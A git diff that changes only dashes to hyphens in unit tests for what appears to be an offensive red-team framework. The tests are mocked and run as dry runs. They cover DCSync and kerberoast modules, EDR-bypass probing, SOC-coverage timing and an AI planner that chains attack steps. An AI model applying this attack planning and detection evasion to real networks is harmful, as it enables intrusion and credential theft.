+ # Vault B: restore from DB - share salt/fernet for compatibility
vault_b = CredentialVault(encryption_key=enc_key)
vault_b._salt = vault_a._salt
vault_b._salt_hex = vault_a._salt_hex
@@ -820,7 +820,7 @@ class TestCredentialVaultPersistence:
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 6 — validate() ENFORCEMENT
+# TEST CLASS 6 - validate() ENFORCEMENT
# ══════════════════════════════════════════════════════════════════════
@@ -888,7 +888,7 @@ class TestValidateEnforcement:
dispatch_context=_mint_test_dispatch_context(
engine, campaign.id, "test.strict_validate"
),
- # No required_param — validate() must fail
+ # No required_param - validate() must fail
)
assert len(validate_calls) == 1, "validate() must be called exactly once"
assert len(execute_calls) == 0, "execute() must NOT run when validate() raises"
diff --git a/tests/unit/test_state_graph_fingerprint_service.py b/tests/unit/test_state_graph_fingerprint_service.py
index 6a72253..dbf7050 100644
--- a/tests/unit/test_state_graph_fingerprint_service.py
+++ b/tests/unit/test_state_graph_fingerprint_service.py
@@ -1,28 +1,28 @@
"""
-Round 4 tests — solidification pass.
+Round 4 tests - solidification pass.
Covers every secondary module plus cross-cutting concerns:
- 1. State layer — HostState, OperatorSession, TargetHost alias,
+ 1. State layer - HostState, OperatorSession, TargetHost alias,
update_host, from_snapshot, to_json, serialisation
- 2. AttackGraph — node/edge construction, path-finding, high-value nodes
- 3. Fingerprinting — EnvironmentFingerprinter, OSType, EDRVendor
- 4. ServiceIntel — ServiceIntelEngine, port mapping, CVE tagging
- 5. Execution — RemoteExecutor, ExecutionMethod, ExecutionResult
- 6. Collaboration — CollaborationManager, TargetLock, OperatorRole
- 7. Knowledge base — AttackKnowledgeBase, suggestions, EvidenceStore
- 8. Normalizer — ArtifactStore CRUD, HostArtifact, UserArtifact
- 9. Replay — AttackReplayEngine session management
- 10. Technique library — TechniqueLibrary CRUD, MITRETactic
- 11. Checkpoint — CheckpointManager save/load/list/purge
- 12. Worker/Cluster — InProcessTaskQueue, ClusterController, disconnect
- 13. Marketplace — ModuleInstaller install_as_dict, LocalRegistry
- 14. Tracing — NoOp tracer, span, trace_module decorator
- 15. Telemetry — MetricsCollector record + aggregate
- 16. API __init__ exports — all packages export __all__ correctly
- 17. Cross-module smoke — import chain + symbol resolution
- 18. Data integrity — Campaign→Finding→Report round-trip
- 19. Security/config — AresSettings defaults, JWT config
- 20. CLI store — verify new methods (update/from_snapshot/to_json)
+ 2. AttackGraph - node/edge construction, path-finding, high-value nodes
+ 3. Fingerprinting - EnvironmentFingerprinter, OSType, EDRVendor
+ 4. ServiceIntel - ServiceIntelEngine, port mapping, CVE tagging
+ 5. Execution - RemoteExecutor, ExecutionMethod, ExecutionResult
+ 6. Collaboration - CollaborationManager, TargetLock, OperatorRole
+ 7. Knowledge base - AttackKnowledgeBase, suggestions, EvidenceStore
+ 8. Normalizer - ArtifactStore CRUD, HostArtifact, UserArtifact
+ 9. Replay - AttackReplayEngine session management
+ 10. Technique library - TechniqueLibrary CRUD, MITRETactic
+ 11. Checkpoint - CheckpointManager save/load/list/purge
+ 12. Worker/Cluster - InProcessTaskQueue, ClusterController, disconnect
+ 13. Marketplace - ModuleInstaller install_as_dict, LocalRegistry
+ 14. Tracing - NoOp tracer, span, trace_module decorator
+ 15. Telemetry - MetricsCollector record + aggregate
+ 16. API __init__ exports - all packages export __all__ correctly
+ 17. Cross-module smoke - import chain + symbol resolution
+ 18. Data integrity - Campaign→Finding→Report round-trip
+ 19. Security/config - AresSettings defaults, JWT config
+ 20. CLI store - verify new methods (update/from_snapshot/to_json)
"""
from __future__ import annotations
@@ -1493,7 +1493,7 @@ class TestCrossModuleIntegration:
# Bob tries to lock same target
lock2 = mgr.acquire_lock("10.0.0.1", "op-002", "ad.dcsync")
- assert lock2 is None # should fail — already locked
+ assert lock2 is None # should fail - already locked
# ─────────────────────────────────────────────────────────────────────────────
@@ -1532,7 +1532,7 @@ class TestCoreConfig:
# ─────────────────────────────────────────────────────────────────────────────
-# 21. CLI STORE v2 — new methods
+# 21. CLI STORE v2 - new methods
# ─────────────────────────────────────────────────────────────────────────────
class TestCLIStoreV2:
diff --git a/tests/unit/test_strategic_modules.py b/tests/unit/test_strategic_modules.py
index 06720d8..48bc391 100644
--- a/tests/unit/test_strategic_modules.py
+++ b/tests/unit/test_strategic_modules.py
@@ -1,5 +1,5 @@
"""
-Unit tests — 4 strategic modules (v34+)
+Unit tests - 4 strategic modules (v34+)
Covers:
- ai.autonomous_planner
@@ -396,7 +396,7 @@ class TestCloudFederationAbuse:
"""Dry run must not make any real network calls."""
from ares.modules.cloud.identity_federation import CloudIdentityFederationModule
mod, _ = _make_module(CloudIdentityFederationModule)
- # If network calls happen, they'll fail in test env — dry_run should prevent them
+ # If network calls happen, they'll fail in test env - dry_run should prevent them
ctx = _mock_ctx(params={"tenant_id": "real-tenant-id"}, dry_run=True)
ctx.campaign = _mock_campaign()
result = _run(mod.execute(ctx))
@@ -424,7 +424,7 @@ class TestAIAutonomousPlanner:
assert result.status == "dry_run"
def test_auto_approve_false_by_default(self):
- """auto_approve must default to False — operator review is required."""
+ """auto_approve must default to False - operator review is required."""
from ares.modules.ai.autonomous_planner import AIAutonomousPlannerModule
from ares.modules.params import AIPlannerParams
params = AIPlannerParams()
@@ -444,7 +444,7 @@ class TestAIAutonomousPlanner:
"modules": ["ad.kerberoast", "ad.dcsync"], "params": {}},
],
"alternative": [],
- "warnings": ["DCSync is HIGH_NOISE — may trigger SIEM"],
+ "warnings": ["DCSync is HIGH_NOISE - may trigger SIEM"],
})
plan = mod._parse_llm_response(valid, "claude-opus-4-6", 1000)
assert plan.confidence == 0.85
@@ -462,7 +462,7 @@ class TestAIAutonomousPlanner:
assert len(plan.warnings) > 0, "Should warn about parse failure"
def test_parse_llm_response_strips_markdown_fences(self):
- """LLM may wrap JSON in ```json ... ``` — should be stripped."""
+ """LLM may wrap JSON in ```json ... ``` - should be stripped."""
from ares.modules.ai.autonomous_planner import AIAutonomousPlannerModule
mod, _ = _make_module(AIAutonomousPlannerModule)
fenced = '```json\n{"reasoning": "test", "confidence": 0.5, "stages": [], "alternative": [], "warnings": []}\n```'
@@ -540,7 +540,7 @@ class TestAIAutonomousPlanner:
{"name": "asrep", "rationale": "if kerberoast fails",
"modules": ["ad.asreproast"], "params": {}},
],
- "warnings": ["DCSync requires domain admin — ensure creds obtained first"],
+ "warnings": ["DCSync requires domain admin - ensure creds obtained first"],
}),
"model": "claude-opus-4-6",
"tokens_used": 1247,
@@ -592,7 +592,7 @@ class TestAIAutonomousPlanner:
# ══════════════════════════════════════════════════════════════════════════════
-# MODULE_PARAMS registry — all 4 new modules registered
+# MODULE_PARAMS registry - all 4 new modules registered
# ══════════════════════════════════════════════════════════════════════════════
class TestNewModulesRegistered:
@@ -641,7 +641,7 @@ class TestNewModulesRegistered:
# ══════════════════════════════════════════════════════════════════════════════
-# New feature tests — added in v35
+# New feature tests - added in v35
# ══════════════════════════════════════════════════════════════════════════════
class TestMultiLLMConsensus:
@@ -804,7 +804,7 @@ class TestSOCShiftModeling:
assert "recommendation" in result
def test_soc_healthcare_is_high_coverage(self):
- """Healthcare SOC operates 24/7 — factor should always be moderate-high."""
+ """Healthcare SOC operates 24/7 - factor should always be moderate-high."""
from ares.modules.opsec.coverage_predictor import _compute_soc_activity_factor
import datetime
# Test at 3am UTC (off-hours for most)
@@ -916,7 +916,7 @@ class TestStrategyEngine:
engine = StrategyEngine(ares_engine=None, settings=None)
campaign = _mock_campaign()
# Simulate a DCSync finding
- mock_finding = type("F", (), {"title": "DCSync — krbtgt hash obtained"})()
+ mock_finding = type("F", (), {"title": "DCSync - krbtgt hash obtained"})()
campaign.findings = [mock_finding]
assert engine._check_goal_achieved(campaign, "domain_admin") is True
@@ -971,7 +971,7 @@ class TestOutcomeQuality:
kb.record_outcome("ad.kerberoast", success=True, quality=1.0, edr_vendor="cs")
kb.record_outcome("ad.kerberoast", success=True, quality=0.3, edr_vendor="cs")
rates = kb.get_success_rates()
- # Average quality: (1.0 + 0.3) / 2 = 0.65 — not just binary count
+ # Average quality: (1.0 + 0.3) / 2 = 0.65 - not just binary count
assert 0.6 <= rates["ad.kerberoast"] <= 0.7
@@ -1269,7 +1269,7 @@ class TestEDRProbe:
assert result is True
def test_probe_no_runner_returns_true(self):
- """No SSH runner means we can't probe — fail open (return True)."""
+ """No SSH runner means we can't probe - fail open (return True)."""
from ares.modules.edr.bypass_adaptive import EDRAdaptiveBypassModule, BypassTechnique
mod, _ = _make_module(EDRAdaptiveBypassModule)
tech = BypassTechnique(
@@ -1295,7 +1295,7 @@ class TestEDRProbe:
class TestBugRegressions:
- # Bug 1 — probe methods must exist and be callable
+ # Bug 1 - probe methods must exist and be callable
def test_probe_technique_method_exists(self):
from ares.modules.edr.bypass_adaptive import EDRAdaptiveBypassModule
mod, _ = _make_module(EDRAdaptiveBypassModule)
@@ -1336,7 +1336,7 @@ class TestBugRegressions:
result = _run(mod._probe_technique(tech, run_cmd=mock_run))
assert result is True
- # Bug 2 — credentials must use actionable format
+ # Bug 2 - credentials must use actionable format
def test_credentials_format_actionable(self):
from ares.modules.ai.autonomous_planner import CampaignContextBuilder
builder = CampaignContextBuilder()
@@ -1356,7 +1356,7 @@ class TestBugRegressions:
"Credentials must be in actionable format with recommended_use"
assert len(first["recommended_use"]) > 0
- # Bug 3 — AD modules use "dc" key, not "target"
+ # Bug 3 - AD modules use "dc" key, not "target"
def test_target_hint_checks_dc_key(self):
from ares.strategy.target_state import TargetStateMap
from ares.modules.base import ModuleResult
@@ -1367,7 +1367,7 @@ class TestBugRegressions:
assert state is not None
assert "ad.kerberoast" in state.successful_modules
- # Bug 4 — datetime.timestamp() must be used
+ # Bug 4 - datetime.timestamp() must be used
def test_dwell_decay_with_datetime_object(self):
from ares.modules.opsec.coverage_predictor import _apply_dwell_time_decay
import datetime, time
@@ -1379,7 +1379,7 @@ class TestBugRegressions:
assert result < 0.8, "Dwell decay must reduce score after 10 days"
assert result == pytest.approx(0.8 * 0.65, abs=0.02)
- # Bug 9 — target_states must appear in prompt
+ # Bug 9 - target_states must appear in prompt
def test_target_states_rendered_in_prompt(self):
from ares.modules.ai.autonomous_planner import _build_user_prompt
context = {
@@ -1417,7 +1417,7 @@ class TestBugRegressions:
assert "Per-host state" not in prompt, \
"Empty target_states must not add noise to prompt"
- # Bug 11 — HIGH_NOISE list accuracy
+ # Bug 11 - HIGH_NOISE list accuracy
def test_high_noise_list_excludes_wmiexec(self):
from ares.modules.opsec.coverage_predictor import CoveragePredictorModule
mod, _ = _make_module(CoveragePredictorModule)
@@ -1446,7 +1446,7 @@ class TestBugRegressions:
assert any("lsa_secrets" in w for w in warnings), \
"windows.lsa_secrets must be flagged as HIGH_NOISE"
- # API Gap — /strategy/engage endpoint exists
+ # API Gap - /strategy/engage endpoint exists
def test_strategy_engage_endpoint_registered(self):
import sys
# Check that the endpoint is registered in server.py
diff --git a/tests/unit/test_strategy_engine.py b/tests/unit/test_strategy_engine.py
index 308eb17..99474cf 100644
--- a/tests/unit/test_strategy_engine.py
+++ b/tests/unit/test_strategy_engine.py
@@ -1,5 +1,5 @@
"""
-Step 2 — Unit Tests: Strategy Engine
+Step 2 - Unit Tests: Strategy Engine
Tests for the autonomous engagement orchestration layer:
- ModuleOutcome / RoundResult / EngagementResult (models)
@@ -8,7 +8,7 @@ Tests for the autonomous engagement orchestration layer:
- ConstitutionEnforcer (module blocking, scope check, authorization)
- StrategyEngine._check_goal_achieved (goal detection logic)
-All tests use mock dependencies — no real LLM, network, or module execution.
+All tests use mock dependencies - no real LLM, network, or module execution.
Run: pytest tests/unit/test_strategy_engine.py -v
"""
@@ -568,7 +568,7 @@ class TestGoalAchieved:
engine = self._make_engine()
campaign = self._make_campaign_with_findings([
"Port Scan Complete",
- "DCSync Attack Successful — krbtgt hash obtained",
+ "DCSync Attack Successful - krbtgt hash obtained",
])
assert engine._check_goal_achieved(campaign, "domain_admin") is True
@@ -616,7 +616,7 @@ class TestGoalAchieved:
engine = self._make_engine()
campaign = MagicMock()
campaign.findings = [
- {"title": "DCSync Attack — Domain Admin Achieved"},
+ {"title": "DCSync Attack - Domain Admin Achieved"},
]
assert engine._check_goal_achieved(campaign, "domain_admin") is True